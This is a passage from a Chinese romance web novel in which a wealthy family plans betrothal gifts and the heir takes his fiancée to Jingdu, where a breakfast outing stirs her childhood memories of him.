“嗯,月月肯定喜欢。”祁南骄点点头,手上也翻过一页,“小杨,我记得东边库房里还有几箱我没清点过,你待会儿让人送来。”
“是,夫人。”杨姨笑应。少爷要成家,老夫人心情甚好,最近电视都不看了,一心扑在聘礼上,数不清的名贵物件一件件加入名册,好些东西饶是她跟着老夫人几十年都没见过。
那边的俞雅琦不知是又想到什么,惊叫一声,祁南骄好笑地摇摇头,这丫头,都多大了还是这么毛躁躁的。
听见大门处有动静,她望去,就见外孙不知是遇了什么好事,进门时都带着笑。
人逢喜事精神爽,这话真不假,祁南骄觉得自从敲定下婚事后,不光是她和女儿一家心情好,连她平日最无趣的外孙都阳光了起来。
她朝向樾行招手,“阿行,来。”
俞雅琦听见,“阿行回来了?”
“妈,”向樾行走到一旁坐下,拿过了一本册子,上面记录的全是祁南骄的珍藏,“你们聊什么呢?”
“我在你外婆说给月月带什么见面礼呢。”俞雅琦语调陡转,“臭小子,我说你火急火燎去港岛干嘛,原来是为了衔月。你好歹提前跟我打声招呼,也不至于敲定婚约的时候,你爹和我一个都不在场,这么大了一点不会办事!”
“是我考虑不周,”他认错倒是快,“我这次提前说,我要带月月去京都一趟。”
“嗯?”俞雅琦两条眉毛拧起,语气不满,“怎么突然要过来?你急什么,我和你爹过段时间就去了,等我们拜访后再带月月来不迟,否则显得我们不重视亲家,婚姻大事,你别想一出是一出。”
她大儿子从小养在她母亲身边,教养礼仪没得挑,性子也是三个孩子里最端方持重的,否则他爹不会这么放心早早让他接手公司,怎么碰上自己的人生大事这么胡来。
向樾行无奈扯唇,他怎么会不明白这个道理。他盼望她盼了那么多年,一朝如愿,确实是恨不得立即完婚,永绝后患,但她想要的,他从来都放在心尖尖上,她那样骄傲爱风光的性子,他势必会尽全力给她最好的回忆,决不怠慢。
“我和月月去京都游玩,不打算见你们,只是告诉你们一声。”
祁南骄一听,这是两人单独约会的意思?她昨天约月月下午茶聊订婚宴的事,那孩子看起来不是很热衷,她还担心了半天,没想到今天两人就有这么大的进展,不愧是她外孙,她就知道他可以!
那边的向缙正在慢悠悠地泡茶,听见儿子的声音,刚想和他说说最近公司项目的事,不料祁南骄抢先开口:“好!年轻人就是该多走走玩玩,你们尽管玩,别担心家里和工作,你爹他还没老到干不动的地步!”
向缙:“…………对。”
俞雅琦看着桌上溢出来的茶水,忍不住嘲笑自家丈夫,这么多年了,对上她妈咪,还是怂包一个!
-
去京都的行程由向樾行全权安排。几天后的夜晚,两人登上了由向父倾情提供的私人飞机。这架庞巴迪挑战者是向樾行十八岁那年,向缙送与他的成人礼,山衔月还是第一次见。
只是她有个一坐交通工具
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就忍不住犯困的毛病,起飞不久便耐不住困意睡去,等她再睁眼时,飞机已经即将降落。
她坐起,白色的薄被从肩头滑落,她没在意,倾身俯瞰舷窗外的景色。
向樾行拿起一旁她脱下的外套,在手里捻了捻,太薄了,想起她今天带的行李,也就一只中等大小的箱子,肯定没有带厚衣服。
“向樾行,你家在哪里呀?”
向樾行从自己的行李箱里拿出一件大衣,窗边的女人听见他的动静,盯着底下星星点点的城市,问了个傻气的问题。
他朝她走去,将手里的衣服披在她裸在外面的肩头。她偏爱穿吊带长裙,港岛全年气温较高,她能穿四季的裙子,即使是在冬天,也只会在外面加件稍保暖些的外套。
他站在她身后,仔细分辨了一下大致方位。他们即将降落,地面一些建筑轮廓显现,只是天色已晚,看得并不清楚,“在那。”他指向一个方位。
山衔月顺着他的手指看去。底下的城市被四通八达的马路分割成一块一块,几乎处处明亮繁华,却只有他指向的那一块,灯光很少,从他们的高度看是黑乎乎的一片。
刚睡醒还有些迷糊,她睁大眼睛,鼻尖快要贴上舷窗玻璃,执着着试图看清那块地方,动作莫名透露出一股天真气。
向樾行恍惚了瞬,有一刹甚至觉得,蹉跎的这些年只是一场梦,他眼前的还是16岁的山衔月。
…
下飞机时,一出机舱,冷空气扑面而来,山衔月下意识裹紧了身上的衣服,离开暖气接受了冷风的洗礼,她的脑子这才清明些,视线落在身上不知何时出现的黑色大衣上,清冽的味道有些熟悉,只可能属于一个人,她看向身后紧跟着的男人。
“还冷吗?”向樾行看见她的动作,上前覆上她身上的衣扣。他的衣服穿在她身上太大,单单靠她手拉紧不够,还是会有风钻进去。
他将双排扣挨个扣上,“我吩咐了助理,他在车上准备了厚衣服,离得不远,很快就能上车。”
山衔月看着眼前躬身为她扣扣子的男人,刚清醒的脑子又卡了壳,怔怔点了点头。
京都难得的大雪,可想而知,温度也是多年没有的新低,夜晚的风无情呼啸,山衔月亦步亦趋地跟在向樾行身边,他在前头为她遮去了大部分寒冷。他个高步子也大,护在她腰后的手推着她一起前行。
一直到上车,暖气再次包裹住身躯,山衔月揉了揉被风刮得有些干的脸。即使她做了心理准备,但京都的温度还是让她一时间没能适应。
向樾行接过司机递来的袋子,从里面拿出一件米白色的羽绒服。
只是这短短一会儿的路,山衔月的鼻头和脸颊就都染上了红,他倾身去为她解开衣扣,将那十分不合身的大衣从她身上剥下。
他动作体贴又轻柔,好像她是个易碎的玻璃娃娃,山衔月被自己的想法吓了一跳,她只是好久没感受过这样刺骨的冷,还不至于被冻傻。
向樾行对上她的视线,山衔月不自然地移开眼,“我自己来。”
15. 婚前日15
“……嗯。”向樾行将衣服给她,坐正了身子,示意司机启程。
黑色的劳斯莱斯驶上大路。
许是刚刚在飞机上睡饱了,山衔月此时困意全无,向樾行不知道在干什么,身侧的位置上一点声音都没有,车厢静默,她的心脏却随着行驶的车跳起踢踏舞。
他们两个的婚姻,代表着背后的向家、祁家、山家,哪一步都不能马虎。自从答应向樾行来京都,她便做足了见家长的心理建设,虽然俞雅琦和向缙是自小认识的长辈,但如今身份转变,她不由得紧张。
半小时后,抵达目的地,向樾行率先下车,绕到另一边打开车门,山衔月十分自然地搭上他的手,迈步出来,看向一旁矗立在夜色的独栋别墅,眸中闪过疑惑。
“这里是?”
向樾行见她不解的神色,悄悄虚握住她还没从他手中撤出的手,女人果然没有发现,一动不动地顺从,“这是我的住处,不常来,这里离机场近,今天先在这里休息。”
佣人看见主家的车,从里面迎出来拿行李。
山衔月思索了下,跟着他走进去。也是,今天太晚了,这样过去反而不得体。
向樾行早安排人将房间收拾好,一直走到卧室门口,山衔月的手还乖乖在他手心,她原本微凉的手指被他熨热,暖意似乎直达心口,让他舍不得松开。
向樾行眸色微暗,舍不得也得松开,现在还没到他能死皮赖脸的时候。
他不着痕迹地张开轻牵她的手指,面上从容不迫,“晚安。”
山衔月果然没发现,闻言抬起头望他,神色复杂。他们从飞机上到现在的相处太过平和,让她手脚都不知该往哪放好了。
走廊只开了壁灯,不甚明亮的灯光照不清向樾行眼中的情绪,她只能看见他低敛的眼睫,和他的视线撞在一起,空气似乎都在静默里凝固下来,奇怪的氛围腾升,不知怎么,她突然不敢再看他,垂下头强装镇定,从鼻腔里泄出一声轻哼,自顾自推开门进去,没有回应他的晚安。
-
心里记挂着正事,第二天,山衔月起了个大早。
昨天向樾行不止准备了一件羽绒服,她进屋后发现桌子上有几个袋子,里面的衣服比她自己带的厚多了,适合京都如今的天气,搭配也还可以,她洗漱后便换上一套。
米黄色的宽松毛衣搭高腰格纹毛呢裙,腰间束一条黑色皮带,搭配一双深棕色的长筒靴。
化完妆后她一看时间,才刚过七点,平常这个时候她还在做美梦呢,自从离开学校,她哪还这么早醒来过。
她坐在房间里等向樾行来敲门,左等右等都没听见外面的动静。
从前他每天催命一样喊她起床,怎么现在变得这么懒!
她推开门,外面静悄悄的,楼梯处走上来一位年纪稍长的女人,见她出来,笑着迎过来:“小姐醒了,我是这里的管家安平。少爷没吩咐多时准备早餐,小姐饿吗,我现在让人去准备。”
山衔月确实是有些饿了,距离昨晚在飞机上吃的晚餐已经过去了十多小时,“好,谢谢平姨。”
“小姐不必客气,您有什么忌口的吗?”
“不吃姜……蒜也不要,清淡些吧。”她其实很想尝尝京都一些特色的吃食,但今天要见长辈,不太方便。
向樾行下楼的时候,看见沙发上坐着的人,不由一愣。
“怎么起这么早?”他快步走过去,凑近才发现她脸上还带着淡妆。
“是你起得太晚了。”
山衔月心里腹诽,哪有睡到日上三竿上门拜访的,她才没那么不知礼数。
安平:“小姐,少爷,早餐准备好了。”
向樾行看向餐桌,他原本打算带她出去吃早点的,没想到她醒的比他早。
桌上摆的都是一些寻常早点,清淡无味,他扬了扬眉,“想不想出去吃,我知道一家店的糖油饼很好吃,是你喜欢的味道。”
“糖油饼……”山衔月咽了咽,向樾行真的很懂她的喜好,短短三个字都能将她的馋虫勾出来。
向樾行被她这幅模样逗笑,不让她再犹豫,推着她的肩膀往外走。
这次没有司机,向樾行带着她七拐八弯,拐了几个路口停下,又徒步穿梭了几条小巷。刚走到一条巷口,山衔月就知道离目的地不远了,空气里弥漫着油炸物的香气,她现在肚子瘪瘪,只觉得食指大动。
这是一家挤在巷头的早餐店,一半柜台在外面,已经大排场龙,一半透明门帘可以进去用餐。门口停着不少电动车,道路窄,向樾行想也没想朝身后伸出手,山衔月正要将手放上去,突然顿住了动作。
但前面的男人没给她拒绝的机会,没等到她的手,他便直接转身牵住了她。
“你!”山衔月语塞,她想不通自己刚刚为什么那么自然地就要牵上他,也想不通他为什么要来牵她,他们明明只是假的,装的!
“嘀嘀!!”一声尖锐的喇叭声响,一辆电动车从两人身边呼啸而过,险些就要擦到山衔月挣扎的手,向樾行猛地一拉,将她扯进怀里。
鼻尖撞上坚硬,山衔月忍不住痛呼出声,向樾行带她往旁边站,大掌抚上她的脸颊,带了点力道抬起来,“我看看。”
在早餐店门口排队的众人简直是最佳观影席,看着一对俊男靓女在眼前亲亲密密,一个年轻姑娘肘了一下自己男朋友,满是艳羡,“你看看人家!”又高又帅,那身材,简直了。
听自己女朋友夸别人,这能忍?男生马上身体力行证明自己为什么能有女朋友,“宝宝,刚刚多危险啊,那个小姐姐差点就被车撞到了,我是绝不会让你遇上这样的事的。”他满口甜言蜜语,哄得女生眉开眼笑。
他们的声音不大不小,刚好在山衔月能听见的程度,“…………”
“看什么,快进去,我快饿死了!”她顾不得跟向樾行闹,一把挥开他的手,闷头逃离这尴尬的地方。
向樾行自然也听见了那对小情侣的对话,迈步跟上她,若有所思地盯着她的背影。
坐到桌子前,山衔月滚烫的脸才稍稍好一点。一旁窗口的阿姨招呼她,“小姑娘吃什么,来这里看哈。”向樾行见她坐下,径直走向窗口,“阿姨,两个糖油饼,还有……”
太过熟悉的对话响起,山衔月转头的动作顿住,眼前莫名浮现出一段久远的时光。
初中时,她和向樾行没分到同一个班,她很倒霉,班级的老师是全年级最严厉的,要求全班同学要比规定提前半小时到教室。
因此,她过上了每天少睡半小时的苦
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难生活。
曹姨刚想去敲山衔月的门,就见一身整齐的小姑娘哭丧着脸哒哒哒从楼梯上下来,她惊疑,“太阳打西边出来了,小姐今天怎么起这么早?”
山衔月不理她的打趣,径直去穿鞋。
曹姨:“欸,不吃早饭了?樾行少爷还没到,不着急。”
“来不及了,再吃要迟到了!”山衔月听她提起向樾行,心情更糟糕,“我以后要比他提前半小时到校!”
失去半小时睡眠已经足够让她生气,再一想到她苦兮兮地上学的时候,向樾行可能还在睡觉,她就更生气了!!
她恨恨地蹬上鞋子出家门,不经意的抬眸,乍然对上了院门外男生的视线。
少男穿着浅蓝色的校服,骑着一辆崭新的黑色自行车——那是他妈咪刚送他的节日礼物,牌子的名字她记不得了,只记着周樵羡慕得流口水,央求了他三天,向樾行都没点头借他骑去上学。
曹姨拿着书包跟过来,定睛一看,“樾行少爷,小姐,不是说要比少爷提前吗?”
她怎么知道他为什么突然出现在这!
山衔月不复刚刚火急火燎,慢吞吞地挪到向樾行身边,脸上要笑不笑,“你来干嘛。”
男生一腿踩着脚踏,一腿支在地上,懒洋洋地掀眼,轻哼一声,不管她的明知故问,“上车。”
他这辆酷炫的自行车后面,突兀地装了个后座,她上次见他骑的时候还没有。
山衔月心里偷笑,面上却满是嫌弃,“又丑又硬,你想硌死我啊。”
“啧。”男生轻啧一声,像是早有预料,从肩上的包里扯出一块软垫,“这下行了吧。”
山衔月昂着下巴哼一声,勉强接受,小心翼翼地拽着裙子坐上去,男生载着她驶上小道。路过早餐店,山衔月的肚子适时叫起来,不用她说,男生停在路边,大娘招呼他,“靓仔,食乜嘢啊?”
“阿姨,要两个菠萝包……”
一连半学期,每天早上这一幕都会上演,直到家长投诉到学校,学生们重获半小时睡眠时光才算结束。
后来她没再见他骑那辆车,或许是他嫌弃安了个后座,骑出去再也不酷了吧。
现在想起来,似乎从前的他也没那么讨厌了。
面前响起盘子碰撞桌子的声音,山衔月回神,向樾行已经点好了吃食端上桌,她的视线瞬间被那一盘炸的焦香酥脆的糖油饼勾走。
她咽了咽,开动之前突然想起什么,拿出手机调整参数,对着桌上咔嚓咔嚓拍了几张照。她围脖有一阵子没营业,再不发点什么恐怕她的小粉丝就要集体举旗抗议了。
她拍了几张都觉得不满意,干脆录了条视频,向樾行见她伸长胳膊俯拍距离远的一盘,贴心地朝前推了推,“可以吗?”
他还算有些眼力见,山衔月心情好了些,简单回看了视频的前几秒,当即编辑了一条围脖发出,她实在饿,发完后将手机扔进包里,迫不及待地开动。
一些熬穿了的小女孩正想合上手机睡觉,就听见手机提示音响——围脖特别关注发博了,点进去一看,又消失了大半个月的Kylaa突然在早晨八点时分发布了一条视频,小女孩们开心地点进去,捂着嘴出来……
【那!个!男!人!是!谁!!!】